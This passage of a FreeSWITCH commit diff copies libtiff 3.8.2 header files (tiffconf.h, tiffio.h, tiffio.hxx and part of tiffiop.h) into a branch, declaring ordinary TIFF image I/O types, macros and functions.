+   images to mutiple strips of ~8Kb to reduce memory usage) */
+#define STRIPCHOP_DEFAULT TIFF_STRIPCHOP
+
+/* Enable SubIFD tag (330) support */
+#define SUBIFD_SUPPORT 1
+
+/* Treat extra sample as alpha (default enabled). The RGBA interface will
+   treat a fourth sample with no EXTRASAMPLE_ value as being ASSOCALPHA. Many
+   packages produce RGBA files but don't mark the alpha properly. */
+#define DEFAULT_EXTRASAMPLE_AS_ALPHA 1
+
+/* Pick up YCbCr subsampling info from the JPEG data stream to support files
+   lacking the tag (default enabled). */
+#define CHECK_JPEG_YCBCR_SUBSAMPLING 1
+
+/*
+ * Feature support definitions.
+ * XXX: These macros are obsoleted. Don't use them in your apps!
+ * Macros stays here for backward compatibility and should be always defined.
+ */
+#define COLORIMETRY_SUPPORT
+#define YCBCR_SUPPORT
+#define CMYK_SUPPORT
+#define ICC_SUPPORT
+#define PHOTOSHOP_SUPPORT
+#define IPTC_SUPPORT
+
+#endif /* _TIFFCONF_ */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffio.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffio.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tiffio.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffio.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffio.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,515 @@
+/* $Id: tiffio.h,v 1.50 2006/03/21 16:37:51 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE
+ * OF THIS SOFTWARE.
+ */
+
+#ifndef _TIFFIO_
+#define	_TIFFIO_
+
+/*
+ * TIFF I/O Library Definitions.
+ */
+#include "tiff.h"
+#include "tiffvers.h"
+
+/*
+ * TIFF is defined as an incomplete type to hide the
+ * library's internal data structures from clients.
+ */
+typedef	struct tiff TIFF;
+
+/*
+ * The following typedefs define the intrinsic size of
+ * data types used in the *exported* interfaces.  These
+ * definitions depend on the proper definition of types
+ * in tiff.h.  Note also that the varargs interface used
+ * to pass tag types and values uses the types defined in
+ * tiff.h directly.
+ *
+ * NB: ttag_t is unsigned int and not unsigned short because
+ *     ANSI C requires that the type before the ellipsis be a
+ *     promoted type (i.e. one of int, unsigned int, pointer,
+ *     or double) and because we defined pseudo-tags that are
+ *     outside the range of legal Aldus-assigned tags.
+ * NB: tsize_t is int32 and not uint32 because some functions
+ *     return -1.
+ * NB: toff_t is not off_t for many reasons; TIFFs max out at
+ *     32-bit file offsets being the most important, and to ensure
+ *     that it is unsigned, rather than signed.
+ */
+typedef	uint32 ttag_t;		/* directory tag */
+typedef	uint16 tdir_t;		/* directory index */
+typedef	uint16 tsample_t;	/* sample number */
+typedef	uint32 tstrip_t;	/* strip number */
+typedef uint32 ttile_t;		/* tile number */
+typedef	int32 tsize_t;		/* i/o size in bytes */
+typedef	void* tdata_t;		/* image data ref */
+typedef	uint32 toff_t;		/* file offset */
+
+#if !defined(__WIN32__) && (defined(_WIN32) || defined(WIN32))
+#define __WIN32__
+#endif
+
+/*
+ * On windows you should define USE_WIN32_FILEIO if you are using tif_win32.c
+ * or AVOID_WIN32_FILEIO if you are using something else (like tif_unix.c).
+ *
+ * By default tif_unix.c is assumed.
+ */
+
+#if defined(_WINDOWS) || defined(__WIN32__) || defined(_Windows)
+#  if !defined(__CYGWIN) && !defined(AVOID_WIN32_FILEIO) && !defined(USE_WIN32_FILEIO)
+#    define AVOID_WIN32_FILEIO
+#  endif
+#endif
+
+#if defined(USE_WIN32_FILEIO)
+# define VC_EXTRALEAN
+# include <windows.h>
+# ifdef __WIN32__
+DECLARE_HANDLE(thandle_t);	/* Win32 file handle */
+# else
+typedef	HFILE thandle_t;	/* client data handle */
+# endif /* __WIN32__ */
+#else
+typedef	void* thandle_t;	/* client data handle */
+#endif /* USE_WIN32_FILEIO */
+
+#ifndef NULL
+# define NULL	(void *)0
+#endif
+
+/*
+ * Flags to pass to TIFFPrintDirectory to control
+ * printing of data structures that are potentially
+ * very large.   Bit-or these flags to enable printing
+ * multiple items.
+ */
+#define	TIFFPRINT_NONE		0x0		/* no extra info */
+#define	TIFFPRINT_STRIPS	0x1		/* strips/tiles info */
+#define	TIFFPRINT_CURVES	0x2		/* color/gray response curves */
+#define	TIFFPRINT_COLORMAP	0x4		/* colormap */
+#define	TIFFPRINT_JPEGQTABLES	0x100		/* JPEG Q matrices */
+#define	TIFFPRINT_JPEGACTABLES	0x200		/* JPEG AC tables */
+#define	TIFFPRINT_JPEGDCTABLES	0x200		/* JPEG DC tables */
+
+/* 
+ * Colour conversion stuff
+ */
+
+/* reference white */
+#define D65_X0 (95.0470F)
+#define D65_Y0 (100.0F)
+#define D65_Z0 (108.8827F)
+
+#define D50_X0 (96.4250F)
+#define D50_Y0 (100.0F)
+#define D50_Z0 (82.4680F)
+
+/* Structure for holding information about a display device. */
+
+typedef	unsigned char TIFFRGBValue;		/* 8-bit samples */
+
+typedef struct {
+	float d_mat[3][3]; 		/* XYZ -> luminance matrix */
+	float d_YCR;			/* Light o/p for reference white */
+	float d_YCG;
+	float d_YCB;
+	uint32 d_Vrwr;			/* Pixel values for ref. white */
+	uint32 d_Vrwg;
+	uint32 d_Vrwb;
+	float d_Y0R;			/* Residual light for black pixel */
+	float d_Y0G;
+	float d_Y0B;
+	float d_gammaR;			/* Gamma values for the three guns */
+	float d_gammaG;
+	float d_gammaB;
+} TIFFDisplay;
+
+typedef struct {				/* YCbCr->RGB support */
+	TIFFRGBValue* clamptab;			/* range clamping table */
+	int*	Cr_r_tab;
+	int*	Cb_b_tab;
+	int32*	Cr_g_tab;
+	int32*	Cb_g_tab;
+        int32*  Y_tab;
+} TIFFYCbCrToRGB;
+
+typedef struct {				/* CIE Lab 1976->RGB support */
+	int	range;				/* Size of conversion table */
+#define CIELABTORGB_TABLE_RANGE 1500
+	float	rstep, gstep, bstep;
+	float	X0, Y0, Z0;			/* Reference white point */
+	TIFFDisplay display;
+	float	Yr2r[CIELABTORGB_TABLE_RANGE + 1];  /* Conversion of Yr to r */
+	float	Yg2g[CIELABTORGB_TABLE_RANGE + 1];  /* Conversion of Yg to g */
+	float	Yb2b[CIELABTORGB_TABLE_RANGE + 1];  /* Conversion of Yb to b */
+} TIFFCIELabToRGB;
+
+/*
+ * RGBA-style image support.
+ */
+typedef struct _TIFFRGBAImage TIFFRGBAImage;
+/*
+ * The image reading and conversion routines invoke
+ * ``put routines'' to copy/image/whatever tiles of
+ * raw image data.  A default set of routines are 
+ * provided to convert/copy raw image data to 8-bit
+ * packed ABGR format rasters.  Applications can supply
+ * alternate routines that unpack the data into a
+ * different format or, for example, unpack the data
+ * and draw the unpacked raster on the display.
+ */
+typedef void (*tileContigRoutine)
+    (TIFFRGBAImage*, uint32*, uint32, uint32, uint32, uint32, int32, int32,
+	unsigned char*);
+typedef void (*tileSeparateRoutine)
+    (TIFFRGBAImage*, uint32*, uint32, uint32, uint32, uint32, int32, int32,
+	unsigned char*, unsigned char*, unsigned char*, unsigned char*);
+/*
+ * RGBA-reader state.
+ */
+struct _TIFFRGBAImage {
+	TIFF*	tif;				/* image handle */
+	int	stoponerr;			/* stop on read error */
+	int	isContig;			/* data is packed/separate */
+	int	alpha;				/* type of alpha data present */
+	uint32	width;				/* image width */
+	uint32	height;				/* image height */
+	uint16	bitspersample;			/* image bits/sample */
+	uint16	samplesperpixel;		/* image samples/pixel */
+	uint16	orientation;			/* image orientation */
+	uint16	req_orientation;		/* requested orientation */
+	uint16	photometric;			/* image photometric interp */
+	uint16*	redcmap;			/* colormap pallete */
+	uint16*	greencmap;
+	uint16*	bluecmap;
+						/* get image data routine */
+	int	(*get)(TIFFRGBAImage*, uint32*, uint32, uint32);
+	union {
+	    void (*any)(TIFFRGBAImage*);
+	    tileContigRoutine	contig;
+	    tileSeparateRoutine	separate;
+	} put;					/* put decoded strip/tile */
+	TIFFRGBValue* Map;			/* sample mapping array */
+	uint32** BWmap;				/* black&white map */
+	uint32** PALmap;			/* palette image map */
+	TIFFYCbCrToRGB* ycbcr;			/* YCbCr conversion state */
+        TIFFCIELabToRGB* cielab;		/* CIE L*a*b conversion state */
+
+        int	row_offset;
+        int     col_offset;
+};
+
+/*
+ * Macros for extracting components from the
+ * packed ABGR form returned by TIFFReadRGBAImage.
+ */
+#define	TIFFGetR(abgr)	((abgr) & 0xff)
+#define	TIFFGetG(abgr)	(((abgr) >> 8) & 0xff)
+#define	TIFFGetB(abgr)	(((abgr) >> 16) & 0xff)
+#define	TIFFGetA(abgr)	(((abgr) >> 24) & 0xff)
+
+/*
+ * A CODEC is a software package that implements decoding,
+ * encoding, or decoding+encoding of a compression algorithm.
+ * The library provides a collection of builtin codecs.
+ * More codecs may be registered through calls to the library
+ * and/or the builtin implementations may be overridden.
+ */
+typedef	int (*TIFFInitMethod)(TIFF*, int);
+typedef struct {
+	char*		name;
+	uint16		scheme;
+	TIFFInitMethod	init;
+} TIFFCodec;
+
+#include <stdio.h>
+#include <stdarg.h>
+
+/* share internal LogLuv conversion routines? */
+#ifndef LOGLUV_PUBLIC
+#define LOGLUV_PUBLIC		1
+#endif
+
+#if defined(c_plusplus) || defined(__cplusplus)
+extern "C" {
+#endif
+typedef	void (*TIFFErrorHandler)(const char*, const char*, va_list);
+typedef	void (*TIFFErrorHandlerExt)(thandle_t, const char*, const char*, va_list);
+typedef	tsize_t (*TIFFReadWriteProc)(thandle_t, tdata_t, tsize_t);
+typedef	toff_t (*TIFFSeekProc)(thandle_t, toff_t, int);
+typedef	int (*TIFFCloseProc)(thandle_t);
+typedef	toff_t (*TIFFSizeProc)(thandle_t);
+typedef	int (*TIFFMapFileProc)(thandle_t, tdata_t*, toff_t*);
+typedef	void (*TIFFUnmapFileProc)(thandle_t, tdata_t, toff_t);
+typedef	void (*TIFFExtendProc)(TIFF*); 
+
+extern	const char* TIFFGetVersion(void);
+
+extern	const TIFFCodec* TIFFFindCODEC(uint16);
+extern	TIFFCodec* TIFFRegisterCODEC(uint16, const char*, TIFFInitMethod);
+extern	void TIFFUnRegisterCODEC(TIFFCodec*);
+extern  int TIFFIsCODECConfigured(uint16);
+extern	TIFFCodec* TIFFGetConfiguredCODECs(void);
+
+/*
+ * Auxiliary functions.
+ */
+
+extern	tdata_t _TIFFmalloc(tsize_t);
+extern	tdata_t _TIFFrealloc(tdata_t, tsize_t);
+extern	void _TIFFmemset(tdata_t, int, tsize_t);
+extern	void _TIFFmemcpy(tdata_t, const tdata_t, tsize_t);
+extern	int _TIFFmemcmp(const tdata_t, const tdata_t, tsize_t);
+extern	void _TIFFfree(tdata_t);
+
+/*
+** Stuff, related to tag handling and creating custom tags.
+*/
+extern  int  TIFFGetTagListCount( TIFF * );
+extern  ttag_t TIFFGetTagListEntry( TIFF *, int tag_index );
+    
+#define	TIFF_ANY	TIFF_NOTYPE	/* for field descriptor searching */
+#define	TIFF_VARIABLE	-1		/* marker for variable length tags */
+#define	TIFF_SPP	-2		/* marker for SamplesPerPixel tags */
+#define	TIFF_VARIABLE2	-3		/* marker for uint32 var-length tags */
+
+#define FIELD_CUSTOM    65    
+
+typedef	struct {
+	ttag_t	field_tag;		/* field's tag */
+	short	field_readcount;	/* read count/TIFF_VARIABLE/TIFF_SPP */
+	short	field_writecount;	/* write count/TIFF_VARIABLE */
+	TIFFDataType field_type;	/* type of associated data */
+        unsigned short field_bit;	/* bit in fieldsset bit vector */
+	unsigned char field_oktochange;	/* if true, can change while writing */
+	unsigned char field_passcount;	/* if true, pass dir count on set */
+	char	*field_name;		/* ASCII name */
+} TIFFFieldInfo;
+
+typedef struct _TIFFTagValue {
+    const TIFFFieldInfo  *info;
+    int             count;
+    void           *value;
+} TIFFTagValue;
+
+extern	void TIFFMergeFieldInfo(TIFF*, const TIFFFieldInfo[], int);
+extern	const TIFFFieldInfo* TIFFFindFieldInfo(TIFF*, ttag_t, TIFFDataType);
+extern  const TIFFFieldInfo* TIFFFindFieldInfoByName(TIFF* , const char *,
+						     TIFFDataType);
+extern	const TIFFFieldInfo* TIFFFieldWithTag(TIFF*, ttag_t);
+extern	const TIFFFieldInfo* TIFFFieldWithName(TIFF*, const char *);
+
+typedef	int (*TIFFVSetMethod)(TIFF*, ttag_t, va_list);
+typedef	int (*TIFFVGetMethod)(TIFF*, ttag_t, va_list);
+typedef	void (*TIFFPrintMethod)(TIFF*, FILE*, long);
+    
+typedef struct {
+    TIFFVSetMethod	vsetfield;	/* tag set routine */
+    TIFFVGetMethod	vgetfield;	/* tag get routine */
+    TIFFPrintMethod	printdir;	/* directory print routine */
+} TIFFTagMethods;
+        
+extern  TIFFTagMethods *TIFFAccessTagMethods( TIFF * );
+extern  void *TIFFGetClientInfo( TIFF *, const char * );
+extern  void TIFFSetClientInfo( TIFF *, void *, const char * );
+
+extern	void TIFFCleanup(TIFF*);
+extern	void TIFFClose(TIFF*);
+extern	int TIFFFlush(TIFF*);
+extern	int TIFFFlushData(TIFF*);
+extern	int TIFFGetField(TIFF*, ttag_t, ...);
+extern	int TIFFVGetField(TIFF*, ttag_t, va_list);
+extern	int TIFFGetFieldDefaulted(TIFF*, ttag_t, ...);
+extern	int TIFFVGetFieldDefaulted(TIFF*, ttag_t, va_list);
+extern	int TIFFReadDirectory(TIFF*);
+extern	int TIFFReadCustomDirectory(TIFF*, toff_t, const TIFFFieldInfo[],
+				    size_t);
+extern	int TIFFReadEXIFDirectory(TIFF*, toff_t);
+extern	tsize_t TIFFScanlineSize(TIFF*);
+extern	tsize_t TIFFRasterScanlineSize(TIFF*);
+extern	tsize_t TIFFStripSize(TIFF*);
+extern	tsize_t TIFFRawStripSize(TIFF*, tstrip_t);
+extern	tsize_t TIFFVStripSize(TIFF*, uint32);
+extern	tsize_t TIFFTileRowSize(TIFF*);
+extern	tsize_t TIFFTileSize(TIFF*);
+extern	tsize_t TIFFVTileSize(TIFF*, uint32);
+extern	uint32 TIFFDefaultStripSize(TIFF*, uint32);
+extern	void TIFFDefaultTileSize(TIFF*, uint32*, uint32*);
+extern	int TIFFFileno(TIFF*);
+extern  int TIFFSetFileno(TIFF*, int);
+extern  thandle_t TIFFClientdata(TIFF*);
+extern  thandle_t TIFFSetClientdata(TIFF*, thandle_t);
+extern	int TIFFGetMode(TIFF*);
+extern	int TIFFSetMode(TIFF*, int);
+extern	int TIFFIsTiled(TIFF*);
+extern	int TIFFIsByteSwapped(TIFF*);
+extern	int TIFFIsUpSampled(TIFF*);
+extern	int TIFFIsMSB2LSB(TIFF*);
+extern	int TIFFIsBigEndian(TIFF*);
+extern	TIFFReadWriteProc TIFFGetReadProc(TIFF*);
+extern	TIFFReadWriteProc TIFFGetWriteProc(TIFF*);
+extern	TIFFSeekProc TIFFGetSeekProc(TIFF*);
+extern	TIFFCloseProc TIFFGetCloseProc(TIFF*);
+extern	TIFFSizeProc TIFFGetSizeProc(TIFF*);
+extern	TIFFMapFileProc TIFFGetMapFileProc(TIFF*);
+extern	TIFFUnmapFileProc TIFFGetUnmapFileProc(TIFF*);
+extern	uint32 TIFFCurrentRow(TIFF*);
+extern	tdir_t TIFFCurrentDirectory(TIFF*);
+extern	tdir_t TIFFNumberOfDirectories(TIFF*);
+extern	uint32 TIFFCurrentDirOffset(TIFF*);
+extern	tstrip_t TIFFCurrentStrip(TIFF*);
+extern	ttile_t TIFFCurrentTile(TIFF*);
+extern	int TIFFReadBufferSetup(TIFF*, tdata_t, tsize_t);
+extern	int TIFFWriteBufferSetup(TIFF*, tdata_t, tsize_t);
+extern	int TIFFSetupStrips(TIFF *);
+extern  int TIFFWriteCheck(TIFF*, int, const char *);
+extern	void TIFFFreeDirectory(TIFF*);
+extern  int TIFFCreateDirectory(TIFF*);
+extern	int TIFFLastDirectory(TIFF*);
+extern	int TIFFSetDirectory(TIFF*, tdir_t);
+extern	int TIFFSetSubDirectory(TIFF*, uint32);
+extern	int TIFFUnlinkDirectory(TIFF*, tdir_t);
+extern	int TIFFSetField(TIFF*, ttag_t, ...);
+extern	int TIFFVSetField(TIFF*, ttag_t, va_list);
+extern	int TIFFWriteDirectory(TIFF *);
+extern	int TIFFCheckpointDirectory(TIFF *);
+extern	int TIFFRewriteDirectory(TIFF *);
+extern	int TIFFReassignTagToIgnore(enum TIFFIgnoreSense, int);
+
+#if defined(c_plusplus) || defined(__cplusplus)
+extern	void TIFFPrintDirectory(TIFF*, FILE*, long = 0);
+extern	int TIFFReadScanline(TIFF*, tdata_t, uint32, tsample_t = 0);
+extern	int TIFFWriteScanline(TIFF*, tdata_t, uint32, tsample_t = 0);
+extern	int TIFFReadRGBAImage(TIFF*, uint32, uint32, uint32*, int = 0);
+extern	int TIFFReadRGBAImageOriented(TIFF*, uint32, uint32, uint32*,
+				      int = ORIENTATION_BOTLEFT, int = 0);
+#else
+extern	void TIFFPrintDirectory(TIFF*, FILE*, long);
+extern	int TIFFReadScanline(TIFF*, tdata_t, uint32, tsample_t);
+extern	int TIFFWriteScanline(TIFF*, tdata_t, uint32, tsample_t);
+extern	int TIFFReadRGBAImage(TIFF*, uint32, uint32, uint32*, int);
+extern	int TIFFReadRGBAImageOriented(TIFF*, uint32, uint32, uint32*, int, int);
+#endif
+
+extern	int TIFFReadRGBAStrip(TIFF*, tstrip_t, uint32 * );
+extern	int TIFFReadRGBATile(TIFF*, uint32, uint32, uint32 * );
+extern	int TIFFRGBAImageOK(TIFF*, char [1024]);
+extern	int TIFFRGBAImageBegin(TIFFRGBAImage*, TIFF*, int, char [1024]);
+extern	int TIFFRGBAImageGet(TIFFRGBAImage*, uint32*, uint32, uint32);
+extern	void TIFFRGBAImageEnd(TIFFRGBAImage*);
+extern	TIFF* TIFFOpen(const char*, const char*);
+# ifdef __WIN32__
+extern	TIFF* TIFFOpenW(const wchar_t*, const char*);
+# endif /* __WIN32__ */
+extern	TIFF* TIFFFdOpen(int, const char*, const char*);
+extern	TIFF* TIFFClientOpen(const char*, const char*,
+	    thandle_t,
+	    TIFFReadWriteProc, TIFFReadWriteProc,
+	    TIFFSeekProc, TIFFCloseProc,
+	    TIFFSizeProc,
+	    TIFFMapFileProc, TIFFUnmapFileProc);
+extern	const char* TIFFFileName(TIFF*);
+extern	const char* TIFFSetFileName(TIFF*, const char *);
+extern	void TIFFError(const char*, const char*, ...);
+extern	void TIFFErrorExt(thandle_t, const char*, const char*, ...);
+extern	void TIFFWarning(const char*, const char*, ...);
+extern	void TIFFWarningExt(thandle_t, const char*, const char*, ...);
+extern	TIFFErrorHandler TIFFSetErrorHandler(TIFFErrorHandler);
+extern	TIFFErrorHandlerExt TIFFSetErrorHandlerExt(TIFFErrorHandlerExt);
+extern	TIFFErrorHandler TIFFSetWarningHandler(TIFFErrorHandler);
+extern	TIFFErrorHandlerExt TIFFSetWarningHandlerExt(TIFFErrorHandlerExt);
+extern	TIFFExtendProc TIFFSetTagExtender(TIFFExtendProc);
+extern	ttile_t TIFFComputeTile(TIFF*, uint32, uint32, uint32, tsample_t);
+extern	int TIFFCheckTile(TIFF*, uint32, uint32, uint32, tsample_t);
+extern	ttile_t TIFFNumberOfTiles(TIFF*);
+extern	tsize_t TIFFReadTile(TIFF*,
+	    tdata_t, uint32, uint32, uint32, tsample_t);
+extern	tsize_t TIFFWriteTile(TIFF*,
+	    tdata_t, uint32, uint32, uint32, tsample_t);
+extern	tstrip_t TIFFComputeStrip(TIFF*, uint32, tsample_t);
+extern	tstrip_t TIFFNumberOfStrips(TIFF*);
+extern	tsize_t TIFFReadEncodedStrip(TIFF*, tstrip_t, tdata_t, tsize_t);
+extern	tsize_t TIFFReadRawStrip(TIFF*, tstrip_t, tdata_t, tsize_t);
+extern	tsize_t TIFFReadEncodedTile(TIFF*, ttile_t, tdata_t, tsize_t);
+extern	tsize_t TIFFReadRawTile(TIFF*, ttile_t, tdata_t, tsize_t);
+extern	tsize_t TIFFWriteEncodedStrip(TIFF*, tstrip_t, tdata_t, tsize_t);
+extern	tsize_t TIFFWriteRawStrip(TIFF*, tstrip_t, tdata_t, tsize_t);
+extern	tsize_t TIFFWriteEncodedTile(TIFF*, ttile_t, tdata_t, tsize_t);
+extern	tsize_t TIFFWriteRawTile(TIFF*, ttile_t, tdata_t, tsize_t);
+extern	int TIFFDataWidth(TIFFDataType);    /* table of tag datatype widths */
+extern	void TIFFSetWriteOffset(TIFF*, toff_t);
+extern	void TIFFSwabShort(uint16*);
+extern	void TIFFSwabLong(uint32*);
+extern	void TIFFSwabDouble(double*);
+extern	void TIFFSwabArrayOfShort(uint16*, unsigned long);
+extern	void TIFFSwabArrayOfTriples(uint8*, unsigned long);
+extern	void TIFFSwabArrayOfLong(uint32*, unsigned long);
+extern	void TIFFSwabArrayOfDouble(double*, unsigned long);
+extern	void TIFFReverseBits(unsigned char *, unsigned long);
+extern	const unsigned char* TIFFGetBitRevTable(int);
+
+#ifdef LOGLUV_PUBLIC
+#define U_NEU		0.210526316
+#define V_NEU		0.473684211
+#define UVSCALE		410.
+extern	double LogL16toY(int);
+extern	double LogL10toY(int);
+extern	void XYZtoRGB24(float*, uint8*);
+extern	int uv_decode(double*, double*, int);
+extern	void LogLuv24toXYZ(uint32, float*);
+extern	void LogLuv32toXYZ(uint32, float*);
+#if defined(c_plusplus) || defined(__cplusplus)
+extern	int LogL16fromY(double, int = SGILOGENCODE_NODITHER);
+extern	int LogL10fromY(double, int = SGILOGENCODE_NODITHER);
+extern	int uv_encode(double, double, int = SGILOGENCODE_NODITHER);
+extern	uint32 LogLuv24fromXYZ(float*, int = SGILOGENCODE_NODITHER);
+extern	uint32 LogLuv32fromXYZ(float*, int = SGILOGENCODE_NODITHER);
+#else
+extern	int LogL16fromY(double, int);
+extern	int LogL10fromY(double, int);
+extern	int uv_encode(double, double, int);
+extern	uint32 LogLuv24fromXYZ(float*, int);
+extern	uint32 LogLuv32fromXYZ(float*, int);
+#endif
+#endif /* LOGLUV_PUBLIC */
+    
+extern int TIFFCIELabToRGBInit(TIFFCIELabToRGB*, TIFFDisplay *, float*);
+extern void TIFFCIELabToXYZ(TIFFCIELabToRGB *, uint32, int32, int32,
+			    float *, float *, float *);
+extern void TIFFXYZToRGB(TIFFCIELabToRGB *, float, float, float,
+			 uint32 *, uint32 *, uint32 *);
+
+extern int TIFFYCbCrToRGBInit(TIFFYCbCrToRGB*, float*, float*);
+extern void TIFFYCbCrtoRGB(TIFFYCbCrToRGB *, uint32, int32, int32,
+			   uint32 *, uint32 *, uint32 *);
+
+#if defined(c_plusplus) || defined(__cplusplus)
+}
+#endif
+
+#endif /* _TIFFIO_ */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffio.hxx

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffio.hxx (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tiffio.hxx) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffio.hxx	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffio.hxx	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,42 @@
+/* $Id: tiffio.hxx,v 1.1 2004/11/21 16:12:08 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#ifndef _TIFFIO_HXX_
+#define	_TIFFIO_HXX_
+
+/*
+ * TIFF I/O library definitions which provide C++ streams API.
+ */
+
+#include <iostream>
+#include "tiff.h"
+
+extern	TIFF* TIFFStreamOpen(const char*, std::ostream *);
+extern	TIFF* TIFFStreamOpen(const char*, std::istream *);
+
+#endif /* _TIFFIO_HXX_ */
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffiop.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffiop.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tiffiop.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffiop.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tiffiop.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,323 @@
+/* $Id: tiffiop.h,v 1.46 2006/03/16 12:22:27 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+#ifndef _TIFFIOP_
+#define	_TIFFIOP_
+/*
+ * ``Library-private'' definitions.
+ */
+
+#include "tif_config.h"
+
+#ifdef HAVE_FCNTL_H
+# include <fcntl.h>
+#endif
+
+#ifdef HAVE_SYS_TYPES_H
+# include <sys/types.h>
+#endif
+
+#ifdef HAVE_STRING_H
+# include <string.h>
+#endif
+
+#ifdef HAVE_ASSERT_H
+# include <assert.h>
+#else
+# define assert(x) 
+#endif
+
+#ifdef HAVE_SEARCH_H
+# include <search.h>
+#else
+extern void *lfind(const void *, const void *, size_t *, size_t,
+		   int (*)(const void *, const void *));
+#endif
+
+#include "tiffio.h"
+#include "tif_dir.h"
+
+#ifndef STRIP_SIZE_DEFAULT
+# define STRIP_SIZE_DEFAULT 8192
+#endif
+
+#define    streq(a,b)      (strcmp(a,b) == 0)
+
+#ifndef TRUE
+#define	TRUE	1
+#define	FALSE	0
+#endif
+
+typedef struct client_info {
+    struct client_info *next;
+    void      *data;
+    char      *name;
+} TIFFClientInfoLink;
+
+/*
+ * Typedefs for ``method pointers'' used internally.
+ */
+typedef	unsigned char tidataval_t;	/* internal image data value type */
+typedef	tidataval_t* tidata_t;		/* reference to internal image data */
+
+typedef	void (*TIFFVoidMethod)(TIFF*);
+typedef	int (*TIFFBoolMethod)(TIFF*);
+typedef	int (*TIFFPreMethod)(TIFF*, tsample_t);
